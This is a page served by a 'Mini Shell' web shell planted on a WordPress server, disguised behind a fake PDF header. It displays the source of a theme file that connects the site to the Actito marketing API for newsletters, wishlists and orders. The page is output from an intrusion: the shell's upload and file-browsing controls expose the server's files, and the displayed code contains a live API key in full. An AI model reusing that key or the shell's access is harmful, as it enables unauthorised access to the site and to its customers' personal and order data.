%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/themes/cwg/inc/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/themes/cwg/inc/actito.php

<?php


class Actito
{
    private $apiKey = '5b090ed9d60e97f1db539071745585fd';
    private $apiUrl = 'https://api3.actito.com/';
    private $apiVersion = 'v4/';
    private $apiAuth = 'auth/token';
    
    private $baseEndpoint = null;

    private $entity = 'entity/carpenters/';
    private $profilesTable = 'table/2/profile/';
    private $subscriptionTable = 'subscription/';
    private $customTable = 'customTable/';
    private $customTableRecord = 'record/';

    private $tableWishlist = 'wishlist/';
    private $tableWishlistDetail = 'wishlistdetails/';
    private $tableOrder = 'orders/';
    private $tableOrderDetail = 'orderdetails/';
    private $tableEnquiry = 'enquiry/';
    private $tableAddToCart = 'addtocart/';

    private $subscriptionCarpentersNewsletter = 'optin_carpenters_newsletter';
    private $subscriptionTheDesignEditNewsletter = 'optin_the_design_edit_newsletter';
    private $subscriptionMarketing = 'optin_marketing';

    function __construct() {
        $this->baseEndpoint = $this->apiVersion . $this->entity;
    }
    
    private function getToken() {
        $date = time();
        if(isset($_SESSION['token']) && isset($_SESSION['token_expirationDate']) && $date < $_SESSION['token_expirationDate']) {
            $token = $_SESSION['token'];
        }
        else {
            $url = $this->apiUrl . $this->apiAuth;
    
            $options = [
                'http' => [
                    'header'  => [
                        'Content-type: application/json',
                        'Authorization: ' . $this->apiKey
                    ],
                    'method'  => 'GET'
                ]
            ];
    
            $context  = stream_context_create($options);
            $result = file_get_contents($url, false, $context);
    
            if ($result === FALSE) {
                throw new Exception(('Request fail'), 1);
            }
            
            $token  = json_decode($result, true)['accessToken'];
            $_SESSION['token'] = $token;
            $_SESSION['token_expirationDate'] = $date + 900;
        }

        return 'Bearer ' . $token;
    }
    
    private function sendRequest($endpoint, $method, $data = []) {
        $url = $this->apiUrl . $endpoint;
    
        $options = [
            'http' => [
                'header'  => [
                    'Content-type: application/json',
                    'Authorization: ' . $this->getToken()
                ],
                'method'  => $method,
                'content' => json_encode($data)
            ]
        ];
        $context  = stream_context_create($options);
        $result = file_get_contents($url, false, $context);
    
        if ($result === FALSE) {
            return false;
        }

        return $result;
    }
    
    function createOrUpdateUser($email, $country = '', $firstName = '', $lastName = '', $birthdate = '') {
        $attribute = [
            ['name' => 'email', 'value' => $email],
            ['name' => 'contactType', 'value' => 'website']
        ];
        if($country != '') {
            array_push($attribute, ['name' => 'country', 'value' => $country]);
        }
        if($lastName != '') {
            array_push($attribute, ['name' => 'lastName', 'value' => $lastName]);
        }
        if($firstName != '') {
            array_push($attribute, ['name' => 'firstName', 'value' => $firstName]);
        }
        if($birthdate != '') {
            array_push($attribute, ['name' => 'birthdate', 'value' => $birthdate]);
        }
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable,
            'POST',
            [
                'attributes' => $attribute
            ]
        );
    }
    
    function deleteUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id,
            'DELETE'
        );
    }
    
    function optInCarpentersNewsletterUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id . '/' . $this->subscriptionTable . $this->subscriptionCarpentersNewsletter,
            'POST'
        );
    }
    
    function optOutCarpentersNewsletterUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id . '/' . $this->subscriptionTable . $this->subscriptionCarpentersNewsletter,
            'DELETE'
        );
    }
    
    function optInTheDesignEditNewsletterUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id . '/' . $this->subscriptionTable . $this->subscriptionTheDesignEditNewsletter,
            'POST'
        );
    }
    
    function optOutTheDesignEditNewsletterUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id . '/' . $this->subscriptionTable . $this->subscriptionTheDesignEditNewsletter,
            'DELETE'
        );
    }
    
    function optInMarketingUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id . '/' . $this->subscriptionTable . $this->subscriptionMarketing,
            'POST'
        );
    }
    
    function optOutMarketingUser($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->profilesTable . $id . '/' . $this->subscriptionTable . $this->subscriptionMarketing,
            'DELETE'
        );
    }

    function optInUser($id) {
        $this->optInCarpentersNewsletterUser($id);
        $this->optInTheDesignEditNewsletterUser($id);
        $this->optInMarketingUser($id);
    }

    function registerNewsletter($email, $country = '') {
        $id = json_decode($this->createOrUpdateUser($email, $country), true)['profileId'];
        return $this->optInCarpentersNewsletterUser($id);
    }

    function addWishlist($email, $wishlistId) {
        $attribute = [
            ['name' => 'email', 'value' => $email],
            ['name' => 'wishlistId', 'value' => $wishlistId]
        ];
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableWishlist . $this->customTableRecord,
            'POST',
            [
                'properties' => $attribute
            ]
        );
    }
    
    function removeWishlist($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableWishlist . $this->customTableRecord . $id,
            'DELETE'
        );
    }

    function addWishlistDetail($email, $wishlistId, $wishlistlineId, $wishlistArtistname = '', $wishlistArtworkname = '', $wishlistArtworkcategory = '') {
        $attribute = [
            ['name' => 'email', 'value' => $email],
            ['name' => 'wishlistId', 'value' => $wishlistId],
            ['name' => 'wishlistlineId', 'value' => $wishlistlineId]
        ];
        if($wishlistArtistname != '') {
            array_push($attribute, ['name' => 'wishlistArtistname', 'value' => $wishlistArtistname]);
        }
        if($wishlistArtworkname != '') {
            array_push($attribute, ['name' => 'wishlistArtworkname', 'value' => $wishlistArtworkname]);
        }
        if($wishlistArtworkcategory != '') {
            array_push($attribute, ['name' => 'wishlistArtworkcategory', 'value' => $wishlistArtworkcategory]);
        }
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableWishlistDetail . $this->customTableRecord,
            'POST',
            [
                'properties' => $attribute
            ]
        );
    }
    
    function removeWishlistDetail($id) {
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableWishlistDetail . $this->customTableRecord . $id,
            'DELETE'
        );
    }

    function addEnquiry($interactionID, $email, $enquiryArtistname = '', $enquiryArtworkname = '', $enquiryArtworkcategory = '') {
        $attribute = [
            ['name' => 'interactionID', 'value' => $interactionID],
            ['name' => 'email', 'value' => $email]
        ];
        if($enquiryArtistname != '') {
            array_push($attribute, ['name' => 'enquiryArtistname', 'value' => $enquiryArtistname]);
        }
        if($enquiryArtworkname != '') {
            array_push($attribute, ['name' => 'enquiryArtworkname', 'value' => $enquiryArtworkname]);
        }
        if($enquiryArtworkcategory != '') {
            array_push($attribute, ['name' => 'enquiryArtworkcategory', 'value' => $enquiryArtworkcategory]);
        }
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableEnquiry . $this->customTableRecord,
            'POST',
            [
                'properties' => $attribute
            ]
        );
    }

    function addToCart($interactionID, $email, $addToCartArtistname = '', $addToCartArtworkname = '', $addToCartArtworkcategory = '') {
        $attribute = [
            ['name' => 'interactionID', 'value' => $interactionID],
            ['name' => 'email', 'value' => $email]
        ];
        if($addToCartArtistname != '') {
            array_push($attribute, ['name' => 'addToCartArtistname', 'value' => $addToCartArtistname]);
        }
        if($addToCartArtworkname != '') {
            array_push($attribute, ['name' => 'addToCartArtworkname', 'value' => $addToCartArtworkname]);
        }
        if($addToCartArtworkcategory != '') {
            array_push($attribute, ['name' => 'addToCartArtworkcategory', 'value' => $addToCartArtworkcategory]);
        }
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableAddToCart . $this->customTableRecord,
            'POST',
            [
                'properties' => $attribute
            ]
        );
    }

    function addOrder($email, $orderId, $params = []) {
        $attribute = [
            ['name' => 'email', 'value' => $email],
            ['name' => 'orderId', 'value' => $orderId]
        ];
        if($params['orderPaymentMethod'] != '') {
            array_push($attribute, ['name' => 'orderPaymentMethod', 'value' => $params['orderPaymentMethod']]);
        }
        if($params['orderCouponCode'] != '') {
            array_push($attribute, ['name' => 'orderCouponCode', 'value' => $params['orderCouponCode']]);
        }
        if($params['orderCurrency'] != '') {
            array_push($attribute, ['name' => 'orderCurrency', 'value' => $params['orderCurrency']]);
        }
        if($params['orderTotalArticleAmount'] != '') {
            array_push($attribute, ['name' => 'orderTotalArticleAmount', 'value' => $params['orderTotalArticleAmount']]);
        }
        if($params['orderTotalPrice'] != '') {
            array_push($attribute, ['name' => 'orderTotalPrice', 'value' => $params['orderTotalPrice']]);
        }
        if($params['orderStreet'] != '') {
            array_push($attribute, ['name' => 'orderStreet', 'value' => $params['orderStreet']]);
        }
        if($params['orderPostalCode'] != '') {
            array_push($attribute, ['name' => 'orderPostalCode', 'value' => $params['orderPostalCode']]);
        }
        if($params['orderCity'] != '') {
            array_push($attribute, ['name' => 'orderCity', 'value' => $params['orderCity']]);
        }
        if($params['orderCountry'] != '') {
            array_push($attribute, ['name' => 'orderCountry', 'value' => $params['orderCountry']]);
        }
        if($params['orderShippingNote'] != '') {
            array_push($attribute, ['name' => 'orderShippingNote', 'value' => $params['orderShippingNote']]);
        }
        if($params['orderDate'] != '') {
            array_push($attribute, ['name' => 'orderDate', 'value' => $params['orderDate']]);
        }
        if($params['orderStatus'] != '') {
            array_push($attribute, ['name' => 'orderStatus', 'value' => $params['orderStatus']]);
        }
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableOrder . $this->customTableRecord,
            'POST',
            [
                'properties' => $attribute
            ]
        );
    }

    function addOrderDetail($email, $orderId, $orderlineId, $orderArtistname = '', $orderArtworkname = '', $orderArtworkcategory = '', $params = []) {
        $attribute = [
            ['name' => 'email', 'value' => $email],
            ['name' => 'orderId', 'value' => $orderId],
            ['name' => 'orderLineId', 'value' => $orderlineId]
        ];
        if($orderArtistname != '') {
            array_push($attribute, ['name' => 'orderArtistname', 'value' => $orderArtistname]);
        }
        if($orderArtworkname != '') {
            array_push($attribute, ['name' => 'orderArtworkname', 'value' => $orderArtworkname]);
        }
        if($orderArtworkcategory != '') {
            array_push($attribute, ['name' => 'orderArtworkcategory', 'value' => $orderArtworkcategory]);
        }
        if($params['unitQty'] != '') {
            array_push($attribute, ['name' => 'unitQty', 'value' => $params['unitQty']]);
        }
        if($params['unitPriceVAT'] != '') {
            array_push($attribute, ['name' => 'unitPriceVAT', 'value' => $params['unitPriceVAT']]);
        }
        if($params['productImage'] != '') {
            array_push($attribute, ['name' => 'productimage', 'value' => $params['productImage']]);
        }
        if($params['orderLineTotalPrice'] != '') {
            array_push($attribute, ['name' => 'OrderLinetotalPrice', 'value' => $params['orderLineTotalPrice']]);
        }
        return $this->sendRequest(
            $this->baseEndpoint . $this->customTable . $this->tableOrderDetail . $this->customTableRecord,
            'POST',
            [
                'properties' => $attribute
            ]
        );
    }
}

function registerNewsletter() {
    if(isset($_POST['email'])) {
        $actito = new Actito();
        echo $actito->registerNewsletter($_POST['email'], $_POST['country']);
    }
    else {
        echo 'Error: email is mandatory';
    }
    wp_die();
}

add_action('wp_ajax_registerNewsletter', 'registerNewsletter');
add_action('wp_ajax_nopriv_registerNewsletter', 'registerNewsletter');

?>

Zerion Mini Shell 1.0